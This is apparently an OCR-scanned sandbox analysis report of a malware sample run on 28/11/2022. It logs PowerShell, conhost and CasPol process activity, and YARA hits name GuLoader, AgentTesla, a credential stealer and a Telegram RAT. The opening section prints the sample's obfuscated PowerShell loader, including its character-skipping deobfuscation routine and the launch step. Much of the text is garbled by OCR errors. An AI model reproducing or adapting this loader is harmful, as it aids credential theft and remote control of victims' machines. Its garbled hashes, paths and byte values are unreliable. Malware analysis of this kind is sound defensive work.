ilcuDrsLo4Bo Af=St SaHHITChBDi Kr'OuEteDKo9PeFHy9NoDCa8RaBDeEPi7En8SnDAsAUdCnoAlrFReAIn0KuASa7InACrCBi8Ho4FaASaCTrBPaDFI
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File size:

MD5 hash:

Has elevated privileges:

Has administrator
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Programmed in:

File Activities

ACy1FoADrénoAMeDYeEBe1TeEsuDDr8PeDPaAJoCBiAPa4crAFo8LnAJrEShAFo7alAGaCBIBFoDSuARe0WhBSt3BaAGu8JuAPaBMoARa5UIAR
eCHeFWiBBeEMe5QUEL09HOEFoDGe8BrDVrAPhCplAIn4RiABo8taATaEObASt7KaASkCSuBMiDchAHeOMuBTa3KoASu8SuADaBSpAEmM5PrAFnC
ReFPIAVoEPa5JaEAN9trEPaDnoBSiFGeBInBAtBunDSoEHa5Re EHa9KvEKoD VoBNyFPiAEC8AIBReBFo9Po6LaBOvIGgAde8InBkoBToANo8PaASk4OIAMaC
MeBReDEtANeCPrBMaBTrBPrAINEPoOuUnENo7Ca9AbAHYAEfCOrBSeDve8PI0ReApr4 TrBRe9LIATr5SpAKoCUNAFo4 CoAUNCSvALa7foBGNDBIAC0o8ToBThD
EmADaOsaAR0o60vAB07ANn8PsFPrADi5SpABo8FIALIEAcBBeAafEMa1UIELaD To9UtBHIADaCInAPhAPIASa8UdARa5teATIABrASkOUnBMaDStBMuBunAAf8
MoBAsDSwABoCAfFSpELeEBIOTU'En;En&Re(Fa $SuDvieSpmSualygRenBleEntJoiCazlnaPobpulAseTi7Ly)Re ga $kaAModUdsBecstrTriFopHatBiiswtFIiTi
uEnsHa4Ga;Co' $SkAChdPisIncCorBiinepBatHaiVatteiinuErsTe5Fo Gi=uk FIHBeTHyBBo FI'DyBFrBJaAStCLeBLaDReBSpCInBInBBoALo7RoEPt9TmEbaDBe
9HIFAM9PeDTh8LaBViEOvV7Pa8UdATBOpB;jiAtrCAfAKo8LeBReDDrAUNnCCo9CoDChBTYy0KiBMa9GaASICFIESo1SkEOp0Go'ki;fl&Ca(Ba'$deDSaeStmW
oalLugNunBreOrtDiiTrzLiaGebSilMyeKo7Pr)Ga Sp' $JiALidHasRocUnrBriUppGetFeiTitDiiAdustsSk5Co Ki Pn Tr;Sk}Bo'$enkSukUI Sc=Sk SpHSITSaBLo
Be'EnABa2MaALaCMiBPoBMoASu7SpAStCMoACo5BiFAIAFjFAbBKe'Fo;Pa’ $ViASidPrssucHarBeiFopOptUniEktSmiOkuSpsub6sp Ti=li PrHCaTWhBHo St'
unEAIDToBPrFEnAOp8ViBviBAn9So6RaBFIFEIAMe8BaEAr9EfFSm4BaEMi9BI9AM2UbIsIAUdBMaOMeBKiAINBLIDMeARoCSuAUN4pjESt7DrofiBUIBSqC
ReAPr7GrBInDCaATrONaAby4FrAudCHyEDo7Mi8FoObeAHo7ReBBoDCoAFjCInBDoBReAEI6BoBPe9Vi9SuAFoANoC XyBFnBBIBMeFveAfeOOuALeASIAdeC
KaBTjAChEDa7Ha8No4KoAOp8HoBAIBGaBAIAfoASe1SkAPr8MiAZy5Ap9Dr4RuFKI3HjFRo3Cz8WiEkuAMeCSkBTwDRi8SpDDeAAgCPsAGa5Cl
ABeCRiADeEIsAKa8LaBLiDSIAKNCPr8PoFPjANa6PrBStBCi8SmFBaBNaCSaAfr7InAAdASpBTvDApPAKIODoAIn6GeAHe7Na9SpINoAJo6FoABoOTrARa7KI
BOIDTrASpCXiBFaBKiEin1SoEKn1brACaFDeAPh2UnBDa9CaEDe9ChESeDTaASt2SuAVa2AIEMa9TeEBeDCa8WaDOpATICEIASt4UnAaf8GsAA
pPEMiAsk7EgAFiCSpBQUDFoAPr0SpBDe3HeATi8UsAOfBPaASa5ShAreCGIFSuDKoEOmOstERe5heEGI9chECa1Hy8NoEFo8AnDSI9SeDFeEEX9
Sk8Ma9suESu1Pi9St2Sc8FIOReATo7FIBLbDRe9stIMiBArDdeBKrBBi9As4OrEStSAfESpIGa9Ty2KI9PrCPe8Ro0INANo7FrBAaDUVFArAMiFMoBSp9Ro4
CoEPe5UdESe9TraMe2Sk9SICru8EKOBeAFi7FIBfIDVeFHoASIFEMBOVIAx4urEDu5PaEmu9UN90OmM2ProLICSk8Ar0SmALU7UnBCoDimFSpANoFCyBBroFI4
MeEUnOMoEPadLaEBe1Va9Pr2De8Re0CuASk7PrBEuDas9Sk9SgBGrDSkBWiBFo9Do4HaEINOPUEAJOBaELaOPr'Re;Su&At(Te' $AfDFueUdmSaaStgFrnBa
eArtLaiStzSnaAgbFIIHoeSv7To)In Sy’ $UnAFadSIsLocudrUniPrpObtTiiGetUniCruZosRu6Pr;Fo’$ChvFoaefrKl_SmnRutUn Be=Ud VaftokAppSk Sk'$BrD
PreGembDialngStnUneHotBaiHezKeaEmbaflbeeth5re Be'$OcDLaeFimRaaRugLanTeeKntPoiBezHraGabPolSjeSI6sa;Fo $IdAMidVesTocInrMoilLapSwtPliEk
tOpiReuPasFr7Ba He=No PrHUpTPrBOr Ob'BeEMaDFu8Pe8seBNiBPrBFeDCyAKnCSeASyFCrADe8GeANe2syBPeDKiAFICefBSeBFaFGuABIEAr9spFHu
4DeEStIFiESsDFIBReFHaAre8ouBHUBPa9Di6BIBSeFUnAre8BiEHo7Fa8Ri0MeATi7miBDeFKoAKu6JaAst2teAInCTiEAn1An90p2Ak8HIOKIARe7AfBDe
DLa9My9DoBStDReBPrBProDy4reFTr3KaFEd3ri9 Co3RiAViCKaBAsBHaAEk60rEMiSUnEUd9tiIFUKAMoFBIFTeFTrFToEKo5UnESa9RaFCe9NoBBo1RiFEs
AGIiFBr9BIFFo9TnFHa9MaEMa5PaEJa9GrFPe9FrBUn1trFLaDOVFKe9SKESVOOV'Ap;In&Om(pa’ $PeDSleWemcaacigPunLoeFatNeiDezHeaPabFrIWieb
17Ve)Ac Py $MaARedPospicSkrM iTipTytObiamtoniSkuTesan7Pr;Su’$BiACodPrsBocKirusilcpDetSliPetLyiteuPesEf8Un Po=Tr FrHphTNaBDy Ti'ErE
GrDcoAAc6fiBKaBEnABeOUnERa9ChFSp4SmEFI9SuETeDCoBafFIcADu8BIBRaBFr9Sv6KIBFiFJuASi8FoEPa7CI8PeOMiAKo7raBVaFdiAMa6NaASp2ArA
SpCgaEbr1Ap9Re2At8Ku0CaASp7BIBKuDLa9Im9MaBBoDPhBGwBRe9em4caFSt3PoFov3br9st3VoAUnCJeBmaBESAAc6CoECISUnEO09MiFBa
9KeBDe1BuFH|j8SmFSk9DeFUn9foFCa9HUFAI9KoFEN9EgES05BaEDe9UNFTa9JaBCl1 AKFPrATeFFi9TeFPi9NoFBu9opENs5BoELe9EUFBa9TaBEN1KrFTo
DTrELIOTi'Sk;Pe&Ln(in’$PrDQueKemKraDrgOpnReeUntWhiblzKraUrbKlIDaeAr70s)Re La' $luAgldNosAncHorUniSopNitEpiCotFsiaruUlsHy8Ha;Bu'$Fos
BspCaiOvlafdTeenuvDdaAnnOpdJosDrpPerFloKojDheTekAptFleSerMy=By(chGFoeTatda-DolOrtBeeBomUdP GrrsaoSppDiestrBetPhyCe An-DePSpaJatSIhSt
Un'GaHAaKEfCStUPa:Ud\FIKOpyHaseahTaaViaManbodleearnStiMidCouRemMepNoeCotDesSu'Vi)Br.SkiBeaLoyPnldraJasca;Va $KoAGedAdsStcinrlniS
epGrtheiTitFuifeuRasSp9Sa De=Ch UnHLyTInBF| Ve'NaEGrDPr8Gr8ReACyDGaBCaAAcAUNAFoBStBPrAKIOAIBBa9CaBImDPaAReONuBKoDPaAOtOU
nBToCPrBAbASeEEN9riFCI4EmEbDI9F09Ne2De9TrASKkBSt0TaBbiAChBCoDSpAMeCIdAAn4PhEBe7Dd8TeAPaALo6SpAGr7ReBHIFCaALeCSeB
DeBSkBGoDBe9Li4EmFHy3rgFUn3Ar8VeFNoBFiBenAin6DiAAa4Br8UnBFiApi8YvBAfABaAHeCSuFGrFFaFBaDin9VaAUnBCoDToBOvBInALaOLrAAc7mbA
TrEStECo1SaEMaDBIBUdAFaBBe9CoASkONeABa5anANaDCaALeCJeBIdFAkATI8YdATa7DeAbaDUnBFoAEpBMi9ChBTrBSVACa6SvAPh3AgASy
CJoAre2RuBvaDMIAUNCKeBInBJoESt0co'Co;Sa&Re(Fo $imDbeeUdmSaaOugUdnMyeDetSaiDizLiaMebGelKoeOv7In)Le Su'$CaABedcrsFrcBaririSypDitLaiK
etAdiAnuEpsSi9Am;De $TesAgpreiOplisdCheKlvLeaDenlLadkosprpInrFdouljSkebukMatsheRurNo0St Sp=Ge JoHToTDeBMo Re'Pr9Co2Ko9CiArhBLiOchBS
nATiBevDNeAPoCBaAAn4heESI7Ri9TyBUnBCeCEnAMo7PoBPaDFeATr0StABe4stAStCEXEbu7is8Ch0GeAWa7SkBAIDReAInCInBMaBcoADe6MoBSi9Ad9H
jANeAUdCReBFiBAIBUNFKkADeOReAVaATiAOvCSUBEUAASESp7Hy8Af4MeARe8INBTvBLNBSuAPrANo1PaASi8UdATo5De9AI4UIFDr3UnFFo3Bu8ReARaAJ
06FrBNi9kaBpoOHaETh1FrETwDSs8se8PaAAIDPaBWaAVoAPsAFnBDeBteASIOVeBFo9SuBBrDHyAToOkoBEgDdeAHe0oIBGICPaBboAHaEEr5PoEVN9SeFL
u9TeEuf5GIEDe9RUEbNIPaESIDMt8DiI8JuBAMBteBimDItAVeCArABiFUsAHy8UdARd2MeBLIDtrATiCanBSaBBiFKuAHaEGo5PaEOu9StFSkAHyFLiFVaFC
oFBIEEnOXe'Er;Ma&Af(Ly' $scDCoeFrmGaaThgChnTreTjtPyiDizimaEpbTilSaeTa7Um)Ra Ta $PosLapUniAnlEcdtre TrvdeaPonSadSasnypCorBooRejFoeSak
VotdieSvrSnOLi;ph*$FasTyiSpzvaePa=Ha $GeAOvdbrsEqcAprstiPapQutHuiLitSyiUnuWrsPa.AnclnoBeutenUntAv-Ou3Di6Si6 Ty ;Af $BesMepMyiSylSadJ
dePevMeaAsnSydSpsSIpPirGroEwjHyeSukEntNeeRhrSa1Kr Le=ne HyHHaTInBSa Un'No9Pe2St9FIAGeBImOPuBStAbeBBeDTrACoCTrASe4ReESa7S
a9SpBmoBGICEfASa7T{BDuDKoAAfOMiASc4TiAofCMoEOr7Pa8lgONoALe7FiBTuDDeAJaCBoBChBMaAFi6GrBPraCh9SwAJeAlmCHaBSaBOrBGrFFoAPrOK
nASIAPrAHaCudBGeAVeEEI7Ed8CI4biAFr8NeBOdBRaBDeAGIACr1 TrAGa8PsAPa5Gi9Ze4NoFBl3auFFo3Mo8KiAorAAf6NeBKr9TaBDy0OTiEUd1DIENIDb
r8Ga8KaAPaDBhBENASKATYABgBVeBuoAAbOAbBDo9FoBSyDDiARe0BaBBoDWaAstOVuBSuCTaBTyAImEFo5skEFI9FeFPIAWIFINFKIFKrFVIENe5VaEsvOH
0ESuDEVASp6tiBMiBKaAKIOBaEBa5kvERIOSmESvDStBHaAChABa0CoBFI3SyACoCRmMEPsOIr'vi;No&Re(Di'$PaDUdeRamPraAvgpenAneAmtSyiSezSoa
SvbSalfieDe70v)Sm Ko $MusBrpDyijulDedMieovvJoaCanPhdAtsOrpFrrPaoFojNoePrkBotSoeKarHe 1Bv;Ca’ $AgsRopGriJulPodBreAfvRoaUdnSydChsStpFe
rAnoCijWeeStkAntWieRerTo2Un Ro=Sa MoHVeTFoBan la'inESaDPIBPjFMoARa8MiBUgBno9FI6guBTiBOpBAMCANACY7PeASy4PuAShCOpETI9CeFCo
4ExEDe9Fa9Un2un9ToAPaBTe0OLIBEmASaBcrDPrACuCSoAFo4HoEPo7Re9PeBzyBBoCJeAka7HoBPrDJuAAnOCuAdi4PaAgeCraEwo7Di8Fa0ReASe7StBAN
DOVAGICAfBINBObAor6UnBLy9No9KaASaAOpCDIiBINBAbBTrFToATy0BeAspAFIAArCskBINAWIEBr7Ba8Yd4YaABu8UdBSkBVaBfoATeAHo1AbAFo8FaAMa
5J09Wh4WeFMi3heFFo3Re8CrESkAINCRaBHoDGr8TaDANAViICkrAPr5ReAEfCFIATaEAIAAp8beBprDChAHaCPe8kIFUJALiI6GeBStBFo8gaFSuBShCafALr
7AtATrASIBBaDHaAANOSoAbr6 TyAFI7Uk9Fr9FoABréBuAPrOPoAHe7doBDoDanAMoCCrBAfBPaECh1PaEapDPr8gr8HjBDvBAaBLoDSUASKCSTAFIFHIASY
8DIADd2inBSuDMaASeCCeBhuBYdFFiAunEBr5StEVe9CiENe 1Ud8PhESa8InDOr9NaDBaELi9Ko8AN9UNEIN1Ka9Ce2Re8PIOErACT7OmBSmDhy9No9HeBId
DCoBBeBUN9Ca4veELe50r9Ps2Be8St0CaAMa7TjBUpDBI9Ud9KaBMyDLUBArBRe9do4SyEBiI0SeEGrIFrEAN1ProOp2Un9CiFPoAEX6MoALa0VaAVeDSp9Ch
4ChEWhOArEVa0BeEANOEN'Di;In&Ma(Li’ $GeDCheEumOuaHvgLonNueUatFuiMizfiaKrbEtiOeeln7Fo)In Ma'$FosDepGoiLalUndMieAmvWhalmnTyd
GesFipAnrDaoMojJaeUskOmtFaeHorso2Fi;Ou’ $AnsNypOviSplTadKoeBlvRealnnSadSisOppAlrbrochjHoeStkSttmoeBerre3Pr Cu=Sa PhHFuTsiBpa Vo'ovE
BiDHyBPuFwiASt8PeBkuBIn9Bo6VeBStBUNBKvCDiAUN7NaAGa4KoAFiCveEFa7Tr8SmOUdAFI7HaBDeFHeATa6HyARa2EnASkCSaEEx1AdERo
DMaADd6InBOpBSaANo0OInEBr5TaEAdDINBHaFHaADi8AfBBaBce9No6RuASa7BuBUNDMoESUOMu'Tr;Sw&Go(Se” $ReDHaeBemRoaPrgHenRoeSythuiLezP
laPabPjlHaeAa7No)Un ne’$ResStpHeiFulRedOteBrvHuaGonDedFesStpKvrlboDijSteFikFntReePIrSm3Ni#Bl;""";;Function spildevandsprojekterd { param(
[String]$HS); For($i=2; $i -It $HS.Length-1; $i+=(2+1)){ $Brndoffers = $Brndoffers + $HS.Substring($i, 1); } $Brndoffers;}$Chlorpikrin0 = spildevandsprojekter9
'AglPaEBeXBa ";$Chlorpikrin2 = spildevandsprojekter9 'CosLatHuaCerRytRe-RejAfoYVbRi ';$Chlorpikrin1= spildevandsprojekter9 $Damspils;;if([IntPtr]::size -eq
8){.$env:windinS*64\W*Power*\v1.0\*Il.exe $Chlorpikrini ;}else{&$Chlorpikrin0 $Chlorpikrini;};;;

0x6a0000

433152 bytes
C32CA4ACFCC635ECT1EA6ED8A34DF5FAC
true

true

.Net C# or VB.NET

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Temp\ _PSscr read attributes |  device sequential only |  success or wait 1 6CEF8792 CreateFileW
iptPolicy Test_ibfztpdx.ynr.ps1 synchronize | synchronous io
generic write non alert | non
directory file |

open no recall
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File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\__PSscr read attributes |  device sequential only |  success or wait 1 6CEF8792 CreateFileW
iptPolicyTest_2c4howsr.nhi.psm1 synchronize | synchronous io
generic write non alert | non

directory file |
open no recall

C:\Users\user read data or list  device directory file | object name collision 1 6E043263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 6E043263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point

File Deleted
File Path Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Temp\ _PSscriptPolicyTest_ibfztpdx.ynr.ps1 success or wait 1 6CEFEO4E DeleteFileW
C:\Users\user\AppData\Local\Temp\ _PSscriptPolicyTest_2c4howsr.nhi.psm1 success or wait 1 6CEFEO4E DeleteFileW
File Written
File Path Offset Length Value Ascii Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Te 0 60 2320506f77657253  # PowerShell test fileto  success or wait 1 6CEF9B71 WriteFile
mp\__PSscr 68 65 6¢ 6¢ 20 74 65 73  determine AppLocker
iptPolicy Test_ibfztpdx.ynr.ps1 74 2066 69 6¢ 6520 74  lockdown mode

6f 20 64 65 74 65 72 6d

69 6e 65 20 41 70 70 4c

6f 63 6b 65 72 20 6¢ 6f

63 6b 64 6f 77 6e 20 6d

6f 64 65 20
C:\Users\user\AppData\Local\Te 0 60 2320506f77657253  # PowerShell test fileto  success or wait 1 6CEF9B71 WriteFile
mp\__PSscr 68 65 6¢ 6¢ 20 74 65 73  determine AppLocker
iptPolicyTest_2c4howsr.nhi.psm1 742066 69 6¢ 6520 74  lockdown mode

6f 20 64 65 74 65 72 6d

69 6e 65 20 41 70 70 4c

6f 63 6b 65 72 20 6¢ 6f

63 6b 64 6f 77 6e 20 6d

6f 64 65 20
File Read
File Path Offset Length Completion Count Source Address Symbol
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6E04099B unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6E04099B unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown 4095 success or wait 1 6E04099B unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown 6135 success or wait 1 6E04099B unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\e4atl unknown 176 success or wait 1 6DF962DE ReadFile
€9189d2b01f018b953e46c80d120\mscorlib.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6E04D97A ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6E04D97A ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6E04D97A ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\6 unknown 900 success or wait 1 6DF962DE ReadFile
2fe5fc1b5bafb28a19a2754318abf00\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\68e52d unknown 620 success or wait 1 6DF962DE ReadFile
ed8d0e73920808d8880ed14efd\System.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6E04099B unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6E04099B unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6E04099B unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6E04099B unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\5a unknown 748 success or wait 1 6DF962DE ReadFile
5dc2f9e9c66b74d361d490c1f4357b\System.Xml.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown 748 success or wait 1 6DF962DE ReadFile
9f6405#\9f9243d8d725bda1845cde132efbe100\Microsoft. Managemen
t.Infrastructure.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Numeri unknown 300 success or wait 1 6DF962DE ReadFile
¢s\29620c919d222ee63ccee178145764a0\System.Numerics.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Manage unknown 764 success or wait 1 6DF962DE ReadFile
ment\ccd32e22ed1b362cchd4b6fe2cda6d0b\System.Management.ni.d
Il.aux
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File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown 64 success or wait 1 6E04B684 ReadFile
rtupProfileData-NonlInteractive

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DF962DE ReadFile
uration\96b2b7229c43d2712ff1bf4906a723f6\System.Configuratio

n.ni.dll.aux

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6E04099B unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown 8171 end of file 1 6E04099B unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config ~ unknown 4096 end of file 1 6CEF9B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown 4096 success or wait 1 6CEF9B71 ReadFile

uleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShel\Mod unknown 1 success or wait 1 6CEF9B71 ReadFile
uleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown 4096 success or wait 1 6CEF9B71 ReadFile
uleAnalysisCache

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6CEF9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 599 end of file 1 6CEF9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6CEF9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 8 6CEF9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 128 end of file 1 6CEF9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6CEF9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6CEF9B71 ReadFile
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 490 end of file 1 6CEF9B71 ReadFile
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6CEF9B71 ReadFile
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

Analysis Process: conhost.exe PID: 7972, Parent PID: 4508

General

Target ID: 11

Start time: 20:45:43

Start date: 28/11/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff773f10000

875008 bytes
81CA40085FC75BABD2C91D18AA9FFA68

true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Offset Length

Analysis Process: CasPol.exe PID: 3788, Parent PID: 4508

General
Target ID:
Start time:
Start date:
Path:

12

20:46:47

28/11/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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Completion

Count

Source Address

Symbol
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Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

false
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
0x210000

108664 bytes

914F728C04D3EDDD5FBA59420E74E56B

true

true

C, C++ or other language

Analysis Process: CasPol.exe PID: 3248, Parent PID: 4508

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

File Activities

File Created
File Path

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache

C:\Users\user

C:\Users\user\AppData\Local

13

20:46:48

28/11/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
true

C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe
0x9f0000

108664 bytes

914F728C04D3EDDD5FBA59420E74E56B

true

true

.Net C# or VB.NET

« Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
0000000D.00000000.3773940652.0000000000E00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
« Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
« Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:
0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
« Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source:
0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Access Attributes

read data or list  device
directory |
synchronize

read data or list  device
directory |
synchronize

read data or list  device
directory |
synchronize

read data or list  device
directory |
synchronize

read data or list ~ device
directory |
synchronize
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Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Completion

object name collision

object name collision

object name collision

object name collision

object name collision

Count Source Address

1

E26B8C

E26B8C

E26B8C

E26B8C

E26B8C

Symbol

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA
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File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Mi read data or list  device directory file | object name collision 1 E26B8C InternetOpen
crosoft\Windows\INetCookies directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list  device directory file | object name collision 1 6E043263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 6E043263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list  device directory file | object name collision 1 6E043263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 6E043263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
File Written
File Path Offset Length Value Ascii Completion Count Source Address Symbol
\Device\ConDrv 0 0 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6CEF9B71 WriteFile
\Device\ConDrv 30 30 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6CEF9B71 WriteFile
File Read
File Path Offset Length Completion Count Source Address Symbol
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6E04099B unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6E04099B unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown 4095 success or wait 1 6E04099B unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown 6135 success or wait 1 6E04099B unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\e4al unknown 176 success or wait 1 6DF962DE ReadFile
€9189d2b01f018b953e46c80d120\mscorlib.ni.dll.aux
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6E04D97A ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6E04D97A ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown 4095 success or wait 1 6E04D97A ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\68e52d unknown 620 success or wait 1 6DF962DE ReadFile
€d8d0e73920808d8880ed14efd\System.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DF962DE ReadFile
uration\96b2b7229c43d2712ff1bf4906a7236\System.Configuratio
n.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\6 unknown 900 success or wait 1 6DF962DE ReadFile
2fe5fc1b5bafb28a19a2754318abf00\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\5a unknown 748 success or wait 1 6DF962DE ReadFile
5dc2f9e9c66b74d361d490c1f4357b\System.Xml.ni.dll.aux
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6E04099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 8171 end of file 1 6E04099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 success or wait 1 6CEF9B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 end of file 1 6CEF9B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4096 success or wait 1 6CEF9B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4096 end of file 1 6CEF9B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6E04099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6E04099B unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Manage unknown 764 success or wait 1 6DF962DE ReadFile
